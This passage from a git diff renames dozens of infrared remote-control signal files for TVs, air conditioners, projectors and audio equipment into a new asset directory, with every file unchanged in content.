100% rename from assets/resources/infrared/optional-assets/Sunbrite.ir rename to assets/ir_optional_assets/optional-assets/Sunbrite.ir diff --git a/assets/resources/infrared/optional-assets/Szxlcom_cams.ir b/assets/ir_optional_assets/optional-assets/Szxlcom_cams.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Szxlcom_cams.ir rename to assets/ir_optional_assets/optional-assets/Szxlcom_cams.ir diff --git a/assets/resources/infrared/optional-assets/TVs/APEX LE4643T TV.ir b/assets/ir_optional_assets/optional-assets/TVs/APEX LE4643T TV.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/APEX LE4643T TV.ir rename to assets/ir_optional_assets/optional-assets/TVs/APEX LE4643T TV.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Hisense/Hisense_RokuTV.ir b/assets/ir_optional_assets/optional-assets/TVs/Hisense/Hisense_RokuTV.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Hisense/Hisense_RokuTV.ir rename to assets/ir_optional_assets/optional-assets/TVs/Hisense/Hisense_RokuTV.ir diff --git a/assets/resources/infrared/optional-assets/TVs/LG/LG_C1.ir b/assets/ir_optional_assets/optional-assets/TVs/LG/LG_C1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/LG/LG_C1.ir rename to assets/ir_optional_assets/optional-assets/TVs/LG/LG_C1.ir diff --git a/assets/resources/infrared/optional-assets/TVs/LG_55UN7300AUD.ir b/assets/ir_optional_assets/optional-assets/TVs/LG_55UN7300AUD.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/LG_55UN7300AUD.ir rename to assets/ir_optional_assets/optional-assets/TVs/LG_55UN7300AUD.ir diff --git a/assets/resources/infrared/optional-assets/TVs/NEC/NEC.ir b/assets/ir_optional_assets/optional-assets/TVs/NEC/NEC.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/NEC/NEC.ir rename to assets/ir_optional_assets/optional-assets/TVs/NEC/NEC.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Panasonic/Panasonic_TC-P50S2.ir b/assets/ir_optional_assets/optional-assets/TVs/Panasonic/Panasonic_TC-P50S2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Panasonic/Panasonic_TC-P50S2.ir rename to assets/ir_optional_assets/optional-assets/TVs/Panasonic/Panasonic_TC-P50S2.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Philips/Philips_32PFL4208T.ir b/assets/ir_optional_assets/optional-assets/TVs/Philips/Philips_32PFL4208T.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Philips/Philips_32PFL4208T.ir rename to assets/ir_optional_assets/optional-assets/TVs/Philips/Philips_32PFL4208T.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Samsung/Samsung.ir b/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Samsung/Samsung.ir rename to assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_BN59.ir b/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_BN59.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_BN59.ir rename to assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_BN59.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_BN5901301A.ir b/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_BN5901301A.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_BN5901301A.ir rename to assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_BN5901301A.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_E6.ir b/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_E6.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_E6.ir rename to assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_E6.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_TV.ir b/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_TV.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_TV.ir rename to assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_TV.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Sharp/Sharp_Roku_TV.ir b/assets/ir_optional_assets/optional-assets/TVs/Sharp/Sharp_Roku_TV.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Sharp/Sharp_Roku_TV.ir rename to assets/ir_optional_assets/optional-assets/TVs/Sharp/Sharp_Roku_TV.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Sony/Sony_Bravia.ir b/assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_Bravia.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Sony/Sony_Bravia.ir rename to assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_Bravia.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Sony/Sony_XBR.ir b/assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_XBR.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Sony/Sony_XBR.ir rename to assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_XBR.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Sony/Sony_XBR_RMT-TX200U.ir b/assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_XBR_RMT-TX200U.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Sony/Sony_XBR_RMT-TX200U.ir rename to assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_XBR_RMT-TX200U.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Sunbrite/Sunbrite.ir b/assets/ir_optional_assets/optional-assets/TVs/Sunbrite/Sunbrite.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Sunbrite/Sunbrite.ir rename to assets/ir_optional_assets/optional-assets/TVs/Sunbrite/Sunbrite.ir diff --git a/assets/resources/infrared/optional-assets/TVs/TCL/TCL_32S327.ir b/assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_32S327.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/TCL/TCL_32S327.ir rename to assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_32S327.ir diff --git a/assets/resources/infrared/optional-assets/TVs/TCL/TCL_UnknownModel1.ir b/assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_UnknownModel1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/TCL/TCL_UnknownModel1.ir rename to assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_UnknownModel1.ir diff --git a/assets/resources/infrared/optional-assets/TVs/TCL/TCL_UnknownModel2.ir b/assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_UnknownModel2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/TCL/TCL_UnknownModel2.ir rename to assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_UnknownModel2.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Toshiba/Toshiba_32AV502U.ir b/assets/ir_optional_assets/optional-assets/TVs/Toshiba/Toshiba_32AV502U.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Toshiba/Toshiba_32AV502U.ir rename to assets/ir_optional_assets/optional-assets/TVs/Toshiba/Toshiba_32AV502U.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Vizio/Vizio.ir b/assets/ir_optional_assets/optional-assets/TVs/Vizio/Vizio.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Vizio/Vizio.ir rename to assets/ir_optional_assets/optional-assets/TVs/Vizio/Vizio.ir diff --git a/assets/resources/infrared/optional-assets/TVs/Westinghouse/Westinghouse.ir b/assets/ir_optional_assets/optional-assets/TVs/Westinghouse/Westinghouse.ir similarity index 100% rename from assets/resources/infrared/optional-assets/TVs/Westinghouse/Westinghouse.ir rename to assets/ir_optional_assets/optional-assets/TVs/Westinghouse/Westinghouse.ir diff --git a/assets/resources/infrared/optional-assets/Tcl.ir b/assets/ir_optional_assets/optional-assets/Tcl.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Tcl.ir rename to assets/ir_optional_assets/optional-assets/Tcl.ir diff --git a/assets/resources/infrared/optional-assets/Tcl_32s327.ir b/assets/ir_optional_assets/optional-assets/Tcl_32s327.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Tcl_32s327.ir rename to assets/ir_optional_assets/optional-assets/Tcl_32s327.ir diff --git a/assets/resources/infrared/optional-assets/Tcl_tv.ir b/assets/ir_optional_assets/optional-assets/Tcl_tv.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Tcl_tv.ir rename to assets/ir_optional_assets/optional-assets/Tcl_tv.ir diff --git a/assets/resources/infrared/optional-assets/Vizio.ir b/assets/ir_optional_assets/optional-assets/Vizio.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Vizio.ir rename to assets/ir_optional_assets/optional-assets/Vizio.ir diff --git a/assets/resources/infrared/optional-assets/Vizio_Soundbar.ir b/assets/ir_optional_assets/optional-assets/Vizio_Soundbar.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Vizio_Soundbar.ir rename to assets/ir_optional_assets/optional-assets/Vizio_Soundbar.ir diff --git a/assets/resources/infrared/optional-assets/Vornado.ir b/assets/ir_optional_assets/optional-assets/Vornado.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Vornado.ir rename to assets/ir_optional_assets/optional-assets/Vornado.ir diff --git a/assets/resources/infrared/optional-assets/Westinghouse.ir b/assets/ir_optional_assets/optional-assets/Westinghouse.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Westinghouse.ir rename to assets/ir_optional_assets/optional-assets/Westinghouse.ir diff --git a/assets/resources/infrared/optional-assets/Whynter_AC.ir b/assets/ir_optional_assets/optional-assets/Whynter_AC.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Whynter_AC.ir rename to assets/ir_optional_assets/optional-assets/Whynter_AC.ir diff --git a/assets/resources/infrared/optional-assets/Xbox.ir b/assets/ir_optional_assets/optional-assets/Xbox.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Xbox.ir rename to assets/ir_optional_assets/optional-assets/Xbox.ir diff --git a/assets/resources/infrared/optional-assets/Yamaha_rx.ir b/assets/ir_optional_assets/optional-assets/Yamaha_rx.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Yamaha_rx.ir rename to assets/ir_optional_assets/optional-assets/Yamaha_rx.ir diff --git a/assets/resources/infrared/optional-assets/Zenith_AC.ir b/assets/ir_optional_assets/optional-assets/Zenith_AC.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Zenith_AC.ir rename to assets/ir_optional_assets/optional-assets/Zenith_AC.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/3M/Projector/134,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/3M/Projector/134,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/3M/Projector/134,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/3M/Projector/134,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/3M/Video Projector/134,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/3M/Video Projector/134,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/3M/Video Projector/134,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/3M/Video Projector/134,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ABS/SAT_8776/8,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ABS/SAT_8776/8,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ABS/SAT_8776/8,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ABS/SAT_8776/8,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ADA/Millenium/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADA/Millenium/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ADA/Millenium/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADA/Millenium/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ADB/Set Top Box/42,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADB/Set Top Box/42,17.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ADB/Set Top Box/42,17.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADB/Set Top Box/42,17.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/AIM/RADIO/129,129.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AIM/RADIO/129,129.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/AIM/RADIO/129,129.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AIM/RADIO/129,129.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ANITECH/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ANITECH/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ANITECH/TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ANITECH/TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/AOC/TV/0,189.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AOC/TV/0,189.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/AOC/TV/0,189.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AOC/TV/0,189.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Projector/8,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acer/Projector/8,19.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Projector/8,19.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acer/Projector/8,19.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/CD Player/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/CD Player/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/CD Player/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/CD Player/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,232.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,232.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,232.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,232.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Receiver/81,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/81,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Receiver/81,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/81,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Tuner/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Tuner/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Tuner/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Tuner/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Unknown/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Unknown/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Unknown/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Unknown/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Unknown/81,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Unknown/81,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Unknown/81,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Unknown/81,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Airmate/Fan/3,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Airmate/Fan/3,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Airmate/Fan/3,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Airmate/Fan/3,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/CD Player/118,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/CD Player/118,0.ir similarity index 100% rename from 